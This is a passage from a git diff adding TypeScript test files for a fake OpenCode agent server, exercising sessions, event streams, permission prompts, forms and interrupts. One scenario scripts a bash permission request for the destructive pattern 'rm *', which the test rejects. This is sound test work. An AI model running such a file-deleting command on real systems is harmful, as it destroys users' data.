fake.stop().finally(() => process.exit(0)); + }; + process.on("SIGTERM", shutdown); + process.on("SIGINT", shutdown); +} + +if ((import.meta as { main?: boolean }).main) { + void cli(process.argv.slice(2)); +} diff --git a/scripts/fixtures/agents/opencode/fake-server.v1.test.ts b/scripts/fixtures/agents/opencode/fake-server.v1.test.ts new file mode 100644 index 00000000..ea309612 --- /dev/null +++ b/scripts/fixtures/agents/opencode/fake-server.v1.test.ts @@ -0,0 +1,462 @@ +// Generation 1: the fake driven by the real @opencode-ai/sdk/v2 client, the +// one Sentinel's OpenCode engine uses against 1.x servers. +import { afterEach, describe, expect, it } from "bun:test"; + +import { createOpencodeClient, type Event } from "@opencode-ai/sdk/v2"; + +import { + killAllFixtures, + spawnFixture, + waitFor, + withTimeout, +} from "../shared/test-support"; +import { start, type OpenCodeFake } from "./fake-server"; +import { openCodeBasicAuth, type OpenCodeFakeScenario } from "./scenario"; +import { FAKE_OPENCODE_PATH, spawnFakeOpenCode } from "./test-harness"; + +const TEST_TIMEOUT = 20_000; +const fakes: OpenCodeFake[] = []; +const pumps: Array<{ controller: AbortController; done: Promise }> = []; + +afterEach(async () => { + // Stopping the servers ends every SDK event stream, so the pumps finish on + // their own. Aborting a live stream instead makes the SDK's SSE client call + // reader.cancel() without awaiting it, which surfaces as an unhandled + // AbortError in whichever test runs next. + await Promise.all(fakes.splice(0).map((fake) => fake.stop())); + for (const pump of pumps.splice(0)) { + await withTimeout(pump.done, 2_000, "event pump").catch(() => + pump.controller.abort(), + ); + } + await killAllFixtures(); +}); + +async function startV1(scenario: OpenCodeFakeScenario = {}, password?: string) { + const fake = await start({ generation: 1, scenario, password }); + fakes.push(fake); + const client = createOpencodeClient({ + baseUrl: fake.url, + directory: "/work/repo", + throwOnError: true, + ...(password + ? { headers: { authorization: openCodeBasicAuth(password) } } + : {}), + }); + return { fake, client }; +} + +/** Subscribes like Sentinel's event pump and collects every event. */ +async function collectEvents(client: ReturnType) { + const controller = new AbortController(); + const events: Event[] = []; + // One attempt: when the fake stops, the stream ends instead of reconnecting. + const subscription = await client.event.subscribe(undefined, { + signal: controller.signal, + sseMaxRetryAttempts: 1, + }); + const done = (async () => { + try { + for await (const event of subscription.stream) + events.push(event as Event); + } catch { + // the stream ended with the server + } + })(); + pumps.push({ controller, done }); + await waitFor( + () => events.some((event) => event.type === "server.connected"), + "server.connected", + ); + return events; +} + +/** The last element matching `predicate` (ES2022 lib has no findLast). */ +function lastOf(items: T[], predicate: (item: T) => boolean): T | undefined { + for (let index = items.length - 1; index >= 0; index -= 1) { + const item = items[index] as T; + if (predicate(item)) return item; + } + return undefined; +} + +const idleFor = (events: Event[], sessionID: string) => + waitFor( + () => + events.some( + (event) => + event.type === "session.idle" && + event.properties.sessionID === sessionID, + ), + "session.idle", + ); + +describe("OpenCode 1.x fake", () => { + it( + "answers health, providers, agents and session create through the SDK", + async () => { + const { client, fake } = await startV1({ version: "1.3.17" }); + const health = await client.global.health(); + expect(health.data).toEqual({ healthy: true, version: "1.3.17" }); + + const providers = await client.provider.list(); + expect(providers.data?.default).toEqual({ + anthropic: "claude-sonnet-4-5", + }); + expect(Object.keys(providers.data?.all[0]?.models ?? {})).toEqual([ + "claude-sonnet-4-5", + "claude-haiku-4-5", + ]); + const agents = await client.app.agents(); + expect(agents.data?.map((agent) => agent.name)).toEqual([ + "build", + "plan", + "general", + ]); + + const session = await client.session.create({ title: "Fixture" }); + // Read values before toMatchObject: Bun 1.4 writes asymmetric matchers + // back into the received object. + const sessionID = session.data?.id ?? ""; + expect(sessionID).toStartWith("ses_"); + expect(session.data).toMatchObject({ + title: "Fixture", + directory: "/work/repo", + version: "1.3.17", + }); + expect((await client.session.get({ sessionID })).data?.id).toBe( + sessionID, + ); + const other = + (await client.session.create({ title: "Doomed" })).data?.id ?? ""; + expect((await client.session.delete({ sessionID: other })).data).toBe( + true, + ); + expect( + await client.session.get({ sessionID: other }).catch(() => "missing"), + ).toBe("missing"); + // The SDK sends the directory as a header on POSTs and as a query on GETs. + const created = fake.requests.find( + (request) => request.method === "POST" && request.path === "/session", + ); + expect(created?.headers["x-opencode-directory"]).toBe( + encodeURIComponent("/work/repo"), + ); + expect(fake.requests.at(-1)?.query.directory).toBe("/work/repo"); + + // Unknown GET paths answer with the web UI, which the SDK rejects. + const html = await fetch(`${fake.url}/api/info`); + expect(html.headers.get("content-type")).toBe("text/html"); + }, + TEST_TIMEOUT, + ); + + it( + "streams a prompt_async run as message.* events and ends with session.idle", + async () => { + const { client } = await startV1({ + prompts: [ + { + steps: [ + { type: "reasoning", text: ["Let me ", "check."] }, + { type: "text", text: ["Hello ", "there"] }, + { + type: "tool", + tool: "bash", + callID: "call_1", + input: { command: "ls" }, + output: "a.ts\n", + title: "ls", + metadata: { exit: 0 }, + }, + ], + tokens: { input: 10, output: 4 }, + cost: 0.002, + }, + ], + }); + const events = await collectEvents(client); + const session = (await client.session.create({})).data!; + const accepted = await client.session.promptAsync({ + sessionID: session.id, + agent: "build", + model: { providerID: "anthropic", modelID: "claude-sonnet-4-5" }, + parts: [{ type: "text", text: "hi" }], + }); + expect(accepted.response.status).toBe(204); + await idleFor(events, session.id); + + const types = events.map((event) => event.type); + expect(types[0]).toBe("server.connected"); + expect(types).toContain("message.part.delta"); + expect(types.at(-1)).toBe("session.idle"); + const deltas = events.flatMap((event) => + event.type === "message.part.delta" ? [event.properties.delta] : [], + ); + expect(deltas).toEqual(["Let me ", "check.", "Hello ", "there"]); + const toolStates = events.flatMap((event) => + event.type === "message.part.updated" && + event.properties.part.type === "tool" + ? [event.properties.part.state.status] + : [], + ); + expect(toolStates).toEqual(["pending", "running", "completed"]); + const finished = lastOf( + events, + (event) => + event.type === "message.updated" && + event.properties.info.role === "assistant", + ); + expect( + finished?.type === "message.updated" && finished.properties.info, + ).toMatchObject({ + role: "assistant", + finish: "stop", + cost: 0.002, + tokens: { input: 10, output: 4 }, + time: { completed: expect.any(Number) }, + }); + + const messages = + (await client.session.messages({ sessionID: session.id })).data ?? []; + expect(messages.map((message) => message.info.role)).toEqual([ + "user", + "assistant", + ]); + expect(messages[1]?.parts.map((part) => part.type)).toEqual([ + "step-start", + "reasoning", + "text", + "tool", + "step-finish", + ]); + }, + TEST_TIMEOUT, + ); + + it( + "asks permissions and questions and takes the replies", + async () => { + const { client, fake } = await startV1({ + prompts: [ + { + steps: [ + { + type: "tool", + tool: "edit", + input: { filePath: "/work/repo/a.ts" }, + output: "edited", + permission: { permission: "edit", patterns: ["a.ts"] }, + }, + { + type: "permission", + permission: "bash", + patterns: ["rm *"], + branches: { + reject: [{ type: "text", text: "rejected" }], + "*": [{ type: "text", text: "allowed" }], + }, + }, + { + type: "question", + questions: [ + { + question: "Which DB?", + header: "DB", + options: [ + { label: "Postgres", description: "SQL" }, + { label: "SQLite", description: "File" }, + ], + }, + ], + branches: { replied: [{ type: "text", text: "answered" }] }, + }, + { + type: "question", + questions: [{ question: "Skip?", header: "Skip", options: [] }], + branches: { + rejected: [{ type: "text", text: "question rejected" }], + }, + }, + ], + }, + ], + }); + const events = await collectEvents(client); + const session = (await client.session.create({})).data!; + await client.session.promptAsync({ + sessionID: session.id, + parts: [{ type: "text", text: "go" }], + }); + + const nextAsked = async ( + type: T, + index: number, + ) => + (await waitFor( + () => events.filter((event) => event.type === type)[index], + `${type} #${index}`, + )) as Extract; + + const editAsk = await nextAsked("permission.asked", 0); + expect(editAsk.properties.tool?.callID).toStartWith("call_"); + expect(editAsk.properties).toMatchObject({ + sessionID: session.id, + permission: "edit", + patterns: ["a.ts"], + always: ["a.ts"], + }); + expect( + (await client.permission.list()).data?.map((request) => request.id), + ).toEqual([editAsk.properties.id]); + await client.permission.reply({ + requestID: editAsk.properties.id, + reply: "once", + }); + + const bashAsk = await nextAsked("permission.asked", 1); + await client.permission.reply({ + requestID: bashAsk.properties.id, + reply: "reject", + }); + + const question = await nextAsked("question.asked", 0); + expect( + question.properties.questions[0]?.options.map((option) => option.label), + ).toEqual(["Postgres", "SQLite"]); + await client.question.reply({ + requestID: question.properties.id, + answers: [["SQLite"]], + }); + const second = await nextAsked("question.asked", 1); + await client.question.reject({ requestID: second.properties.id }); + await idleFor(events, session.id); + + const replies = events.flatMap((event) => + event.type === "permission.replied" ? [event.properties.reply] : [], + ); + expect(replies).toEqual(["once", "reject"]); + expect(events).toContainEqual({ + type: "question.replied", + properties: { + sessionID: session.id, + requestID: question.properties.id, + answers: [["SQLite"]], + }, + }); + expect(events.some((event) => event.type === "question.rejected")).toBe( + true, + ); + const texts = events.flatMap((event) => + event.type === "message.part.updated" && + event.properties.part.type === "text" && + event.properties.part.time?.end + ? [event.properties.part.text] + : [], + ); + expect(texts).toEqual(["rejected", "answered", "question rejected"]); + + const missing = await client.permission + .reply({ requestID: "per_missing", reply: "once" }) + .catch((error: unknown) => error); + expect(missing).toBeDefined(); + expect(fake.requests.at(-1)?.path).toBe("/permission/per_missing/reply"); + }, + TEST_TIMEOUT, + ); + + it( + "aborts a hung run with MessageAbortedError and reports script errors", + async () => { + const { client } = await startV1({ + prompts: [ + { + match: "fail", + steps: [ + { type: "text", text: "partial" }, + { type: "error", message: "Provider exploded", name: "APIError" }, + ], + }, + { steps: [{ type: "text", text: "working" }, { type: "hang" }] }, + ], + }); + const events = await collectEvents(client); + const session = (await client.session.create({})).data!; + await client.session.promptAsync({ + sessionID: session.id, + parts: [{ type: "text", text: "go" }], + }); + await waitFor( + () => events.some((event) => event.type === "message.part.delta"), + "delta", + ); + const aborted = await client.session.abort({ sessionID: session.id }); + expect(aborted.data).toBe(true); + await idleFor(events, session.id); + const error = events.find((event) => event.type === "session.error"); + expect( + error?.type === "session.error" && error.properties.error?.name, + ).toBe("MessageAbortedError"); + + const failed = (await client.session.create({})).data!; + await client.session.promptAsync({ + sessionID: failed.id, + parts: [{ type: "text", text: "please fail" }], + }); + await idleFor(events, failed.id); + const failure = lastOf(events, (event) => event.type === "session.error"); + expect( + failure?.type === "session.error" && failure.properties, + ).toMatchObject({ + sessionID: failed.id, + error: { name: "APIError", data: { message: "Provider exploded" } }, + }); + }, + TEST_TIMEOUT, + ); + + it( + "requires Basic auth when a password is set and emits heartbeats", + async () => { + const { fake, client } = await startV1({ heartbeatMs: 50 }, "s3cret"); + expect((await fetch(`${fake.url}/global/health`)).status).toBe(401); + expect((await client.global.health()).data?.healthy).toBe(true); + const events = await collectEvents(client); + await waitFor( + () => + events.filter( + (event) => (event.type as string) === "server.heartbeat", + ).length >= 2, + "heartbeats", + ); + }, + TEST_TIMEOUT, + ); + + it( + "runs as `opencode serve` with the 1.x readiness line and --version output", + async () => { + const spawned = await spawnFakeOpenCode( + 1, + { version: "1.18.35" }, + { OPENCODE_SERVER_PASSWORD: "pw" }, + ); + expect(spawned.fixture.stdoutText()).toBe( + `opencode server listening on ${spawned.url}\n`, + ); + const client = createOpencodeClient({ + baseUrl: spawned.url, + headers: { authorization: openCodeBasicAuth("pw") }, + }); + expect((await client.global.health()).data).toEqual({ + healthy: true, + version: "1.18.35", + }); + + const version = spawnFixture(FAKE_OPENCODE_PATH, { args: ["--version"] }); + await withTimeout(version.exited, 5_000, "--version"); + expect(version.stdoutText()).toBe("1.18.32\n"); + }, + TEST_TIMEOUT, + ); +}); diff --git a/scripts/fixtures/agents/opencode/fake-server.v2.test.ts b/scripts/fixtures/agents/opencode/fake-server.v2.test.ts new file mode 100644 index 00000000..341f26d1 --- /dev/null +++ b/scripts/fixtures/agents/opencode/fake-server.v2.test.ts @@ -0,0 +1,833 @@ +// Generation 2 (opencode 2.x) driven with plain fetch and a hand-rolled SSE +// reader over the /api/* routes @opencode/client 2.0.24 calls. +import { afterEach, describe, expect, it } from "bun:test"; + +import type { JsonObject } from "../shared/fixture-io"; +import { + killAllFixtures, + spawnFixture, + waitFor, + withTimeout, +} from "../shared/test-support"; +import { start, type OpenCodeFake } from "./fake-server"; +import { openCodeBasicAuth, type OpenCodeFakeScenario } from "./scenario"; +import { + FAKE_OPENCODE_PATH, + readSse, + spawnFakeOpenCode, + type SseItem, +} from "./test-harness"; + +const TEST_TIMEOUT = 20_000; +const cleanups: Array<() => unknown> = []; + +afterEach(async () => { + for (const cleanup of cleanups.splice(0).reverse()) await cleanup(); + await killAllFixtures(); +}); + +type V2 = { + url: string; + call(method: string, path: string, body?: unknown): Promise; + json( + method: string, + path: string, + body?: unknown, + ): Promise; + items: SseItem[]; + events(): JsonObject[]; + waitForEvent(type: string, index?: number): Promise; +}; + +async function connect(url: string, password: string): Promise { + const authorization = openCodeBasicAuth(password); + const call = (method: string, path: string, body?: unknown) => + fetch(`${url}${path}`, { + method, + headers: { + authorization, + ...(body === undefined ? {} : { "content-type": "application/json" }), + }, + ...(body === undefined ? {} : { body: JSON.stringify(body) }), + }); + const items: SseItem[] = []; + const controller = new AbortController(); + const stream = await fetch(`${url}/api/event`, { + headers: { authorization }, + signal: controller.signal, + }); + expect(stream.status).toBe(200); + expect(stream.headers.get("content-type")).toBe("text/event-stream"); + void readSse(stream, (item) => items.push(item)).catch(() => {}); + cleanups.push(() => controller.abort()); + const events = () => items.flatMap((item) => (item.data ? [item.data] : [])); + await waitFor( + () => events().some((event) => event.type === "server.connected"), + "connected", + ); + return { + url, + call, + json: async (method, path, body) => + (await (await call(method, path, body)).json()) as never, + items, + events, + waitForEvent: (type, index = 0) => + waitFor( + () => events().filter((event) => event.type === type)[index], + `${type} #${index}`, + ), + }; +} + +async function startV2(scenario: OpenCodeFakeScenario = {}) { + const fake: OpenCodeFake = await start({ generation: 2, scenario }); + cleanups.push(() => fake.stop()); + return { fake, api: await connect(fake.url, fake.password ?? "") }; +} + +const data = (event: JsonObject | undefined) => + (event?.data ?? {}) as JsonObject; + +describe("OpenCode fake, generation 2", () => { + it( + "runs as `opencode serve`: 2.x banner, generated password, Basic auth on /api/info", + async () => { + const spawned = await spawnFakeOpenCode(2, { version: "2.0.24" }); + expect(spawned.fixture.stdoutText()).toBe( + `server listening on ${spawned.url}\nserver password ${spawned.password}\n`, + ); + const anonymous = await fetch(`${spawned.url}/api/info`); + expect(anonymous.status).toBe(401); + expect(anonymous.headers.get("www-authenticate")).toBe("Basic"); + expect(await anonymous.json()).toEqual({ + _tag: "UnauthorizedError", + message: "Authentication required", + }); + const info = await fetch(`${spawned.url}/api/info`, { + headers: { authorization: openCodeBasicAuth(spawned.password ?? "") }, + }); + expect(info.headers.get("content-type")).toBe("application/json"); + expect(await info.json()).toEqual({ + version: "2.0.24", + pid: spawned.fixture.child.pid, + urls: [spawned.url], + paths: { tmp: "/tmp/opencode" }, + }); + // A 1.x probe path serves the web UI, so it says nothing about the version. + const health = await fetch(`${spawned.url}/global/health`, { + headers: { authorization: openCodeBasicAuth(spawned.password ?? "") }, + }); + expect(health.headers.get("content-type")).toBe("text/html"); + + const withPassword = await spawnFakeOpenCode( + 2, + {}, + { OPENCODE_PASSWORD: "given" }, + ); + expect(withPassword.fixture.stdoutText()).toBe( + `server listening on ${withPassword.url}\n`, + ); + expect( + ( + await fetch(`${withPassword.url}/api/info`, { + headers: { authorization: openCodeBasicAuth("given") }, + }) + ).status, + ).toBe(200); + + const version = spawnFixture(FAKE_OPENCODE_PATH, { + args: ["--version"], + env: { SENTINEL_OPENCODE_FAKE_GENERATION: "2" }, + }); + await withTimeout(version.exited, 5_000, "--version"); + expect(version.stdoutText()).toBe("opencode v2.0.18\n"); + }, + TEST_TIMEOUT, + ); + + it( + "streams an execution: text, reasoning, a tool with permission, a form", + async () => { + const { api, fake } = await startV2({ + prompts: [ + { + steps: [ + { type: "reasoning", text: ["Let me ", "think."] }, + { + type: "tool", + tool: "bash", + callID: "call_1", + input: { command: "ls" }, + output: "a.ts\n", + metadata: { exit: 0 }, + permission: { permission: "bash", patterns: ["ls"] }, + }, + { + type: "form", + title: "Pick a database", + fields: [ + { + key: "db", + type: "string", + title: "Database", + options: [ + { value: "pg", label: "Postgres" }, + { value: "sqlite", label: "SQLite" }, + ], + }, + ], + branches: { + replied: [{ type: "text", text: ["Using ", "Postgres"] }], + }, + }, + ], + tokens: { input: 10, output: 4 }, + cost: 0.002, + }, + ], + }); + const created = await api.json<{ data: JsonObject }>( + "POST", + "/api/session", + { + title: "Fixture", + location: { directory: "/work/repo" }, + }, + ); + // Read the id first: bun's toMatchObject writes asymmetric matchers back into the subject. + const sessionID = String(created.data.id); + expect(sessionID).toStartWith("ses_"); + expect(await api.json("GET", `/api/session/${sessionID}`)).toEqual({ + data: created.data, + }); + expect(created.data).toMatchObject({ + title: "Fixture", + location: { directory: "/work/repo" }, + cost: 0, + }); + + const prompt = await api.json<{ data: JsonObject }>( + "POST", + `/api/session/${sessionID}/prompt`, + { text: "hello" }, + ); + // Without a `delivery` field 2.0.18 answers "steer". + expect(prompt.data).toMatchObject({ + sessionID, + type: "user", + payload: { text: "hello" }, + delivery: "steer", + }); + + const asked = data(await api.waitForEvent("permission.asked")); + expect(asked).toMatchObject({ + sessionID, + action: "bash", + resources: ["ls"], + source: { type: "tool", id: "call_1" }, + }); + expect( + ( + await api.json<{ data: JsonObject[] }>( + "GET", + `/api/session/${sessionID}/permission`, + ) + ).data, + ).toHaveLength(1); + const reply = await api.call( + "POST", + `/api/session/${sessionID}/permission/${String(asked.id)}/reply`, + { decision: "once" }, + ); + expect(reply.status).toBe(204); + + const form = data(await api.waitForEvent("form.created")) + .form as JsonObject; + expect(form).toMatchObject({ sessionID, title: "Pick a database" }); + expect( + ( + await api.call( + "POST", + `/api/session/${sessionID}/form/${String(form.id)}/reply`, + { + answer: { db: "pg" }, + }, + ) + ).status, + ).toBe(204); + await api.waitForEvent("session.execution.succeeded"); + + const events = api.events(); + const types = events.map((event) => String(event.type)); + expect(types.slice(0, 5)).toEqual([ + "server.connected", + "session.created", + "session.inbox.enqueued", + "session.execution.started", + "session.inbox.delivered", + ]); + expect(data(events[2])).toEqual({ + sessionID, + inboxID: prompt.data.id, + item: { type: "user", payload: { text: "hello" }, delivery: "steer" }, + }); + expect(types).toEqual( + expect.arrayContaining([ + "session.step.started", + "session.reasoning.started", + "session.reasoning.delta", + "session.reasoning.ended", + "session.tool.input.started", + "session.tool.input.delta", + "session.tool.input.ended", + "session.tool.called", + "permission.asked", + "permission.replied", + "session.tool.progress", + "session.tool.success", + "form.created", + "form.replied", + "session.text.started", + "session.text.delta", + "session.text.ended", + "session.step.streamed", + "session.step.ended", + "session.usage.updated", + "session.execution.succeeded", + ]), + ); + // A 2.x execution ends with session.execution.*; 2.0.18 sends no + // session.status or session.idle. + expect(types.slice(-4)).toEqual([ + "session.step.streamed", + "session.step.ended", + "session.usage.updated", + "session.execution.succeeded", + ]); + expect(types).not.toContain("session.idle"); + expect(types).not.toContain("session.status"); + expect( + data(events.find((event) => event.type === "session.usage.updated")), + ).toEqual({ + sessionID, + cost: 0.002, + tokens: { + input: 10, + output: 4, + reasoning: 0, + cache: { read: 0, write: 0 }, + }, + }); + const textDeltas = events.flatMap((event) => + event.type === "session.text.delta" ? [data(event).delta] : [], + ); + expect(textDeltas).toEqual(["Using ", "Postgres"]); + expect( + data(events.find((event) => event.type === "session.text.ended")), + ).toMatchObject({ + sessionID, + // Ordinals index the assistant content: reasoning, tool, then this text. + ordinal: 2, + text: "Using Postgres", + }); + expect( + data(events.find((event) => event.type === "permission.replied")), + ).toEqual({ + sessionID, + requestID: asked.id, + reply: "once", + }); + expect( + data(events.find((event) => event.type === "form.replied")), + ).toEqual({ + id: form.id, + sessionID, + answer: { db: "pg" }, + }); + expect( + data(events.find((event) => event.type === "session.tool.success")), + ).toMatchObject({ + id: "call_1", + content: [{ type: "text", text: "a.ts\n" }], + executed: false, + }); + + // Durable session events carry a per-session sequence; deltas do not. + const started = events.find( + (event) => event.type === "session.execution.started", + ); + expect(started).toMatchObject({ + id: expect.stringMatching(/^evt_/), + created: expect.any(Number), + durable: { + aggregateID: sessionID, + seq: expect.any(Number), + version: 1, + }, + location: { directory: expect.any(String) }, + }); + expect( + events.find((event) => event.type === "session.text.delta"), + ).not.toHaveProperty("durable"); + expect( + events.find((event) => event.type === "session.usage.updated"), + ).not.toHaveProperty("durable"); + expect( + ( + events.find((event) => event.type === "session.tool.success") + ?.durable as JsonObject + ).version, + ).toBe(2); + + const messages = await api.json<{ + data: JsonObject[]; + cursor: JsonObject; + }>("GET", `/api/session/${sessionID}/message`); + expect(messages.data.map((message) => message.type)).toEqual([ + "user", + "assistant", + ]); + expect(messages.data[1]).toMatchObject({ + finish: "stop", + cost: 0.002, + content: [ + { type: "reasoning" }, + { type: "tool", id: "call_1" }, + { type: "text" }, + ], + }); + expect( + fake.requests.some( + (request) => request.path === `/api/session/${sessionID}/prompt`, + ), + ).toBe(true); + }, + TEST_TIMEOUT, + ); + + it( + "delivers steer prompts at the next step boundary and cancels queued inbox items", + async () => { + const { api } = await startV2({ + prompts: [ + { match: "steer", steps: [{ type: "text", text: "steered" }] }, + { match: "queued", steps: [{ type: "text", text: "queued run" }] }, + { match: "cancel", steps: [{ type: "text", text: "never runs" }] }, + { + match: "long", + steps: [ + { type: "text", text: "one" }, + { type: "permission", permission: "bash", patterns: ["make"] }, + { type: "text", text: "two" }, + ], + }, + ], + }); + const sessionID = String( + (await api.json<{ data: JsonObject }>("POST", "/api/session", {})).data + .id, + ); + const prompt = (text: string, delivery?: string) => + api.json<{ data: JsonObject }>( + "POST", + `/api/session/${sessionID}/prompt`, + { + text, + ...(delivery ? { delivery } : {}), + }, + ); + // An idle session starts an execution for a steer (the default). + expect((await prompt("long task")).data.delivery).toBe("steer"); + const asked = data(await api.waitForEvent("permission.asked")); + + // A prompt without `delivery` steers into the running execution too. + const steer = (await prompt("steer: use make")).data; + expect(steer.delivery).toBe("steer"); + const queued = (await prompt("queued follow-up", "queue")).data; + expect(queued.delivery).toBe("queue"); + const cancelled = (await prompt("cancel me", "queue")).data; + const inbox = await api.json<{ data: JsonObject[] }>( + "GET", + `/api/session/${sessionID}/inbox`, + ); + expect(inbox.data.map((item) => item.id)).toEqual([ + steer.id, + queued.id, + cancelled.id, + ]); + expect( + ( + await api.call( + "DELETE", + `/api/session/${sessionID}/inbox/${String(cancelled.id)}`, + ) + ).status, + ).toBe(204); + expect(data(await api.waitForEvent("session.inbox.cancelled"))).toEqual({ + sessionID, + inboxID: cancelled.id, + }); + expect( + ( + await api.call( + "DELETE", + `/api/session/${sessionID}/inbox/${String(cancelled.id)}`, + ) + ).status, + ).toBe(404); + + await api.call( + "POST", + `/api/session/${sessionID}/permission/${String(asked.id)}/reply`, + { + decision: "once", + }, + ); + await api.waitForEvent("session.execution.succeeded", 1); + + const events = api.events(); + const lifecycle = events.flatMap((event) => { + const type = String(event.type); + if (type === "session.inbox.delivered") + return [`delivered:${String(data(event).inboxID)}`]; + if (type === "session.text.ended") + return [`text:${String(data(event).text)}`]; + if ( + type.startsWith("session.execution.") || + type.startsWith("session.step.") + ) + return [type]; + return []; + }); + const [first] = events.filter( + (event) => event.type === "session.inbox.delivered", + ); + expect(lifecycle).toEqual([ + "session.execution.started", + `delivered:${String(data(first).inboxID)}`, + "session.step.started", + "text:one", + "session.step.streamed", + "session.step.ended", + `delivered:${String(steer.id)}`, + "session.step.started", + "text:steered", + "text:two", + "session.step.streamed", + "session.step.ended", + "session.execution.succeeded", + "session.execution.started", + `delivered:${String(queued.id)}`, + "session.step.started", + "text:queued run", + "session.step.streamed", + "session.step.ended", + "session.execution.succeeded", + ]); + + const messages = await api.json<{ data: JsonObject[] }>( + "GET", + `/api/session/${sessionID}/message`, + ); + expect(messages.data.map((message) => message.type)).toEqual([ + "user", + "assistant", + "user", + "assistant", + "user", + "assistant", + ]); + expect(messages.data[2]).toMatchObject({ + id: steer.id, + text: "steer: use make", + }); + expect( + ( + await api.json<{ data: JsonObject[] }>( + "GET", + `/api/session/${sessionID}/inbox`, + ) + ).data, + ).toEqual([]); + }, + TEST_TIMEOUT, + ); + + it( + "interrupts a hung execution, cancels forms and reports failures", + async () => { + const { api } = await startV2({ + prompts: [ + { + match: "form", + steps: [ + { + type: "form", + title: "Q", + fields: [{ key: "x", type: "boolean" }], + }, + ], + }, + { + match: "fail", + steps: [{ type: "error", message: "Provider exploded" }], + }, + { + match: "idle", + steps: [{ type: "text", text: "thinking" }, { type: "hang" }], + }, + { + steps: [ + { type: "text", text: "I'll run that now." }, + { + type: "tool", + tool: "shell", + callID: "call_sleep", + input: { command: "sleep 60 && echo LATE" }, + metadata: { shellID: "sh_1" }, + durationMs: 60_000, + }, + ], + }, + ], + }); + const sessionID = String( + (await api.json<{ data: JsonObject }>("POST", "/api/session", {})).data + .id, + ); + await api.json("POST", `/api/session/${sessionID}/prompt`, { + text: "go", + }); + await api.waitForEvent("session.tool.progress"); + expect( + await api.json("POST", `/api/session/${sessionID}/interrupt`), + ).toEqual({ + interrupted: true, + }); + expect( + data(await api.waitForEvent("session.execution.interrupted")), + ).toEqual({ + sessionID, + reason: "user", + }); + // Like 2.0.18: the running tool and step close before the execution. + const interrupted = api.events(); + const tail = interrupted.slice( + interrupted.findIndex( + (event) => event.type === "session.tool.progress", + ), + ); + expect(tail.map((event) => event.type)).toEqual([ + "session.tool.progress", + "session.tool.failed", + "session.step.failed", + "session.usage.updated", + "session.execution.interrupted", + ]); + expect(data(tail[1])).toMatchObject({ + sessionID, + id: "call_sleep", + error: { type: "aborted", message: "Tool execution interrupted" }, + metadata: { shellID: "sh_1" }, + executed: false, + }); + expect(data(tail[2])).toMatchObject({ + error: { type: "aborted", message: "Step interrupted" }, + tokens: { input: 120 }, + }); + + // Without a running tool only the step closes. + await api.json("POST", `/api/session/${sessionID}/prompt`, { + text: "idle hang", + }); + await api.waitForEvent("session.text.delta", 1); + await api.json("POST", `/api/session/${sessionID}/interrupt`); + await api.waitForEvent("session.execution.interrupted", 1); + const second = api.events().map((event) => event.type); + expect( + second.slice(second.lastIndexOf("session.text.ended") + 1), + ).toEqual([ + "session.step.failed", + "session.usage.updated", + "session.execution.interrupted", + ]); + expect( + await api.json("POST", `/api/session/${sessionID}/interrupt`), + ).toEqual({ + interrupted: false, + }); + + await api.json("POST", `/api/session/${sessionID}/prompt`, { + text: "form please", + }); + const form = data(await api.waitForEvent("form.created")) + .form as JsonObject; + expect( + ( + await api.call( + "DELETE", + `/api/session/${sessionID}/form/${String(form.id)}`, + ) + ).status, + ).toBe(204); + await api.waitForEvent("form.cancelled"); + + await api.json("POST", `/api/session/${sessionID}/prompt`, { + text: "fail now", + }); + expect(data(await api.waitForEvent("session.execution.failed"))).toEqual({ + sessionID, + error: { type: "provider", message: "Provider exploded" }, + }); + // Steps 0 and 1 failed on the two interrupts above. + expect( + data(await api.waitForEvent("session.step.failed", 2)), + ).toMatchObject({ + error: { message: "Provider exploded" }, + }); + + const missing = await api.call("GET", "/api/session/ses_missing"); + expect(missing.status).toBe(404); + expect(await missing.json()).toMatchObject({ + _tag: "SessionNotFoundError", + sessionID: "ses_missing", + }); + const noPermission = await api.call( + "POST", + `/api/session/${sessionID}/permission/per_x/reply`, + { + decision: "once", + }, + ); + expect(noPermission.status).toBe(404); + }, + TEST_TIMEOUT, + ); + + it( + "emits the 2.0.24-typed session.status and session.idle only when asked", + async () => { + const { api } = await startV2({ emitSessionStatus: true }); + const sessionID = String( + (await api.json<{ data: JsonObject }>("POST", "/api/session", {})).data + .id, + ); + await api.json("POST", `/api/session/${sessionID}/prompt`, { + text: "hi", + }); + await api.waitForEvent("session.idle"); + const run = api + .events() + .filter((event) => + [ + "session.execution.started", + "session.status", + "session.execution.succeeded", + "session.idle", + ].includes(String(event.type)), + ); + expect( + run.map((event) => + event.type === "session.status" + ? `status:${String((data(event).status as JsonObject).type)}` + : event.type, + ), + ).toEqual([ + "session.execution.started", + "status:busy", + "session.execution.succeeded", + "status:idle", + "session.idle", + ]); + expect(run[4]).not.toHaveProperty("durable"); + }, + TEST_TIMEOUT, + ); + + it( + "lists models, providers and agents, switches model and agent, and heartbeats", + async () => { + const { api } = await startV2({ + heartbeatMs: 50, + directory: "/work/repo", + }); + const models = await api.json<{ + location: JsonObject; + data: JsonObject[]; + }>("GET", "/api/model"); + expect(models.location).toEqual({ directory: "/work/repo" }); + expect(models.data[0]).toMatchObject({ + providerID: "anthropic", + modelID: "claude-sonnet-4-5", + }); + const providers = await api.json<{ data: JsonObject[] }>( + "GET", + "/api/provider", + ); + expect(providers.data.map((provider) => provider.id)).toEqual([ + "anthropic", + ]); + const agents = await api.json<{ data: JsonObject[] }>( + "GET", + "/api/agent", + ); + expect(agents.data.map((agent) => agent.id)).toEqual([ + "build", + "plan", + "general", + ]); + + const sessionID = String( + (await api.json<{ data: JsonObject }>("POST", "/api/session", {})).data + .id, + ); + const model = { id: "claude-haiku-4-5", providerID: "anthropic" }; + expect( + (await api.call("POST", `/api/session/${sessionID}/model`, { model })) + .status, + ).toBe(204); + expect( + ( + await api.call("POST", `/api/session/${sessionID}/agent`, { + agent: "plan", + }) + ).status, + ).toBe(204); + expect(data(await api.waitForEvent("session.model.selected"))).toEqual({ + sessionID, + model, + }); + expect(data(await api.waitForEvent("session.agent.selected"))).toEqual({ + sessionID, + agent: "plan", + }); + expect(await api.json("GET", `/api/session/${sessionID}`)).toMatchObject({ + data: { agent: "plan", model }, + }); + + await waitFor( + () => + api.items.filter((item) => item.comment === "heartbeat").length >= 2, + "heartbeats", + ); + const list = await api.json<{ data: JsonObject[]; cursor: JsonObject }>( + "GET", + "/api/session", + ); + expect(list.data.map((session) => session.id)).toEqual([sessionID]); + expect(list.cursor).toEqual({ previous: null, next: null }); + + expect( + (await api.call("DELETE", `/api/session/${sessionID}`)).status, + ).toBe(204); + const deleted = await api.waitForEvent("session.deleted"); + expect(deleted).toMatchObject({ 